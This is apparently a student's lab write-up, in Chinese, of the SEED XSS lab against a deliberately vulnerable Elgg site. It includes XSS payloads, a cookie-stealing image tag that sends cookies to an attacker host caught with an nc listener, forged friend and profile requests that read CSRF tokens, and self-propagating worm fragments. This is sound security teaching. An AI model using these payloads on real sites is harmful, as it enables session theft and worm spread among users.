SEEDLAB:XSS实验
一、 实验目的
1 overview
为了演示攻击者可以做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的web应用程序。我们已经注释掉了Elgg的一些保护方法,故意使其容易受到XSS攻击。学生们需要利用这些漏洞发动攻击,就像Samy Kamkar在2005年通过臭名昭著的Samy蠕虫对MySpace所做的那样。此攻击的最终目标是在用户之间传播XSS蠕虫,这样无论谁查看受感染的用户配置文件都会受到感染,无论谁受感染都会将您(即攻击者)添加到他/她的好友列表中。
二、 实验步骤及结果
**2 **Lab Environment
2.1 DNS Setup
查看DNS配置情况,打开虚拟机的/etc/hosts,照实验pdf修改内容
1 | 10.9.0.5 www.seed-server.com |
2.2 The Elgg Web Application
当访问www.xsslabelgg.com可以看到如下的界面,已经是配置好的Elgg网站,
需要使用的话可以直接从中输入用户名和密码登录即可。实验pdf中提供了用户名和密码
3 Lab Tasks
3.1: Preparation: Getting Familiar with the “HTTP Header Live” tool
seed20.04虚拟机的firefox浏览器自带 http header liver这个工具,点击右上角的这个按钮就可以打开,类似于网页元素的检查器,不过是针对header的
3.2 Task 1: Posting a Malicious Message to Display an Alert Window
在本次lab的labsetup下,使用dcup命令链接docker,再用浏览器打开10.9.0.5,发现启动了网页
之后我们正常登录站点,如samy,接下来在profile插入XSS并保存
1 | <script>alert('XSS');</script> |
点击保存修改后,跳转至用户个人页,出现了显示“XSS”的弹窗
3.3 Task 2: Posting a Malicious Message to Display Cookies
回到刚才编辑页面,把alert中的xss代码替换成document.cookie
、
点击保存,页面跳转,可以看到,cookie被打印了出来
3.4 Task 3: Task 3: Stealing Cookies from the Victim’s Machine
之后,为了将受害者的cookie发送到攻击者的主机。尝试对Samy的profile做出如下修改。
1 | <script>document.write('<img src=http://10.9.0.1:5555?c=' |
1 | nc -lknv 5555 |
samy查看自己主页时, 可以看到监听到了cookie
再以未登陆的游客身份查看samy的主页
可以看到监听到了cookie
3.5 Task 4: Becoming the Victim’s Friend
这部分主要是利用XSS攻击让受害者boby自动添加用户Samy为好友,我们只要用JS脚本模拟出这个请求即可。
首先,为了构造一个合适的HTTP request,因此需要先了解在添加好友的时候需要对哪些部分做出改变。根据文档中提供的代码,可以看到,需要修改的共两处
1 | <script type="text/javascript"> |
在浏览器中模拟添加好友的操作,打开http header liver,进行查看
放大查看:
因此构造之后得到以下脚本文件
1 | <script type="text/javascript"> |
可以看到samy还没有好友
在Alice的页面添加该脚本,并保存
接着在Boby的主页上去搜索Samy,并查看Samy的profile。
可以看到,在没有任何提示的情况下,Boby已经添加Samy为好友了。攻击成功!
Question 1: Explain the purpose of Lines ➀ and ➁, why are they are needed?
:::info
答:这两行其实就是一种认证模式,,是为了防范CSRF攻击所采用的策略。正如浏览器中通常加的token一样。此处也是一种token来通过服务器验证的过程。该网站的Elgg服务器需要对用户认证,而这两行的代码就是绕过这中认证的过程,xss攻击中的代码是可以直接读时间戳timestamp以及秘密令牌secret ,直接自己构造处绕过验证的方式。
:::
Question 2: If the Elgg application only provide the Editor mode for the “About Me” fifield, you cannot switch to the Text mode, can you still launch a successful attack?
:::info
答:可以的。在文本编辑器中的话,会在之后转为HTML网页的时候对js代码的部分有所改变,即编辑器会向代码中添加格式化数据,这就破坏了代码的完整性,导致这种代码其实是无法正确当作js代码来正确在网页中执行的。但是,攻击者依然可以使用一个浏览器扩展来删除这些HTTP请求中的格式化数据,或使用其他客户端来发送请求,并非一定需要浏览器。
:::
### **3.6 Task 5: Modifying the Victim’s Profifile** 该Task是要求当用户访问Samy的profile的时候,自己的Profile遭受Samy的XSS攻击,使得自己主页的Profile被恶意攻击者(Samy)篡改。
与Task4类似,此时也是需要查看一下修改用户Profile是怎样一个HttpRequest的格式。
此处,随意修改一下profile,在开发者工具中查看这个过程的HttpRequest的情况。
可以看到,发送的HttpRequest是POST请求,请求的RequestURL是http://www.xsslabelgg.com/action/profile/edit。
![image.png](https://cdn.nlark.com/yuque/0/2023/png/35921061/1699083665762-9b5becc4-9606-4f8a-ac40-d34b712171ef.png#averageHue=%23fcfbfa&clientId=u4052aad0-eb39-4&from=paste&height=503&id=u61a952b9&originHeight=793&originWidth=1194&originalType=binary&ratio=1.5749999284744263&rotation=0&showTitle=false&size=154418&status=done&style=none&taskId=u92660d25-6167-4284-ae0d-819ad7470c8&title=&width=758.0952725226663)
构建一个Script:
1 | <script type="text/javascript"> |
将上述代码用于Samy的AboutMe字段,且在HTML模式下编辑,保存:
然后登录Boby账户,目前个人简介部分是空的
接着访问samy
回到Boby的Profile中,可以看到Boby的Profile的About me字段已经被恶意用户Samy篡改。攻击成功!
Question 3: Why do we need Line ➀? Remove this line, and repeat your attack. Report and explain your observation.
:::info
答:如果去掉后,在保存的过程中其实就是一次POST请求发送的过程,这个过程xss脚本同样会生效,因此攻击者自身的Profile也被篡改。
:::
3.7 Task 6: Writing a Self-Propagating XSS Worm
3.7.1 link型蠕虫
其实Link就是把DOM型的蠕虫代码放到一个第三方服务器(可以是自己搭建的站点)上,然后script src 加载就行了,省很多事情,实验主要要求的是DOM型
1 | <script src = "http://xxx.xxx.xxx.xxx"/xsscode.js> |
3.7.2 DOM Approach
编辑 Samy 的 profile,使其可以把自己赋值到别人的 profile 中
1 | <script id="worm"> |
放入samy的profile,保存
boby访问samy的profile,发现自己的主页被修改
登录 alice 账号,查看 boby 的 profile,看到自己的 profile 已经被修改了
3.8 Task 7: Defeating XSS Attacks Using CSP
- Describe and explain your observations when you visit these websites.
- Click the button in the web pages from all the three websites, describe and explain your observations.
- Change the server configuration on example32b (modify the Apache configuration), so Areas 5 and 6 display OK. Please include your modified configuration in the lab report.
- Change the server configuration on example32c (modify the PHP code), so Areas 1, 2, 4, 5, and 6 all display OK. Please include your modified configuration in the lab report.
- Please explain why CSP can help prevent Cross-Site Scripting attacks.
这个 Task 探究 CSP 防御 XSS 的作用。原始状态为
修改 apache_csp.conf:
1 | # Purpose: Setting CSP policies in Apache configuration |
修改 phpindex.php:
1 |
显然的,CSP 就是白名单制度,明确告诉客户端,哪些外部资源可以加载和执行。